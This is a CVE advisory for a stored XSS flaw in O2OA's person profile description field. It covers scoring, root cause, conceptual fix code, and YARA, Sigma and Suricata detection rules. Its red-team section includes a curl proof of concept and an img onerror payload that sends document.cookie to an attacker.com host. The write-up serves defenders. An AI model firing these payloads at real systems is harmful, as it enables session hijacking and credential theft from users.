CVE-2025-9655

Executive Summary

CVE-2025-9655 identifies a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_organization_assemble_control/jaxrs/person/ endpoint, specifically within the "Description" parameter of the Personal Profile Page. An unauthenticated remote attacker can inject arbitrary JavaScript or HTML into the description field, which is then rendered when other users view the profile. This can lead to session hijacking, credential theft, or defacement. The vendor has acknowledged the issue and stated it will be fixed in a future release, but no patch is currently available. The CVSS score is 4.7 (Medium) due to the need for user interaction and the limited impact on confidentiality and integrity.

Supply Chain & Package Security

O2OA is a Java-based application distributed as a WAR file or Docker image. The vulnerability is in the core application code, not in a third-party package. However, organizations using O2OA should verify the integrity of their deployment artifacts and monitor for updates from the official repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – Victim must view the attacker’s profile.
• Scope (S): Changed (C) – The injected script executes in the context of the victim’s session.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The attack requires user interaction but can be chained with social engineering to steal session cookies or perform actions on behalf of the victim.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The /x_organization_assemble_control/jaxrs/person/ endpoint accepts a JSON payload containing a description field. This field is not sanitized or encoded before being stored in the database and later rendered in the user’s profile page. When a victim visits the attacker’s profile, the malicious script executes in their browser.

Root Cause: Lack of output encoding and input validation on the description parameter. The application likely uses a RESTful API that directly maps user input to database fields without proper escaping.

Attack Flow:

1. Attacker sends a POST request to /x_organization_assemble_control/jaxrs/person/ with a crafted JSON body containing a malicious description value.
2. The server stores the payload in the database.
3. Victim navigates to the attacker’s profile page.
4. The server returns the stored description without sanitization.
5. The victim’s browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// O2OA vulnerable endpoint
@POST
@Path("person")
public Response createPerson(Person person) {
    // Directly stores description without sanitization
    personDao.save(person);
    return Response.ok().build();
}

Patched Code (Expected):

// O2OA patched endpoint
@POST
@Path("person")
public Response createPerson(Person person) {
    // Sanitize description using OWASP Java Encoder
    String safeDescription = Encode.forHtml(person.getDescription());
    person.setDescription(safeDescription);
    personDao.save(person);
    return Response.ok().build();
}

The patch should implement output encoding (e.g., HTML entity encoding) on the description field before storage or rendering.

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC):

# Exploit using curl
curl -X POST "http://target.com/x_organization_assemble_control/jaxrs/person/" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "attacker",
    "description": "<script>alert(document.cookie)</script>"
  }'

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Lab Setup:

1. Deploy O2OA v10.0-410 using Docker: docker run -d -p 80:8080 o2oa/o2oa:10.0-410
2. Access the web interface and create a user.
3. Use the PoC above to inject the XSS payload.
4. Have another user view the attacker’s profile to trigger the script.

Blue Team

Detection:

• Monitor HTTP POST requests to /x_organization_assemble_control/jaxrs/person/ containing <script> or onerror patterns.
• Use WAF rules to block common XSS payloads in the description field.

Mitigation:

• Apply input validation: Reject or sanitize HTML tags in the description field.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies to prevent session theft via JavaScript.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /x_organization_assemble_control/jaxrs/person/ with suspicious JSON payloads.
  • Outbound connections to attacker-controlled domains from the victim’s browser.
• File IOCs:
  • Log entries showing description field containing <script> tags.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of O2OA profile pages.

Detection Engineering

YARA Rule

rule CVE_2025_9655_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting O2OA description field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9655"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of them
}

Sigma Rule

title: O2OA Stored XSS via Description Field
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to O2OA person endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/x_organization_assemble_control/jaxrs/person/"
        cs-body|contains:
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in description (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9655 O2OA Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/x_organization_assemble_control/jaxrs/person/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the description field in the user profile if not critical.
2. Implement a WAF rule to block XSS payloads in the description parameter.
3. Apply input validation on the server side to strip HTML tags.

Long-Term Fix:

• Upgrade to the patched version once released by the vendor.
• Use output encoding libraries (e.g., OWASP Java Encoder) for all user-supplied data.
• Conduct a security audit of all REST endpoints for similar vulnerabilities.

Workaround:

• Modify the application code to sanitize the description field before storage:

// Add this line before saving
person.setDescription(Encode.forHtml(person.getDescription()));

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert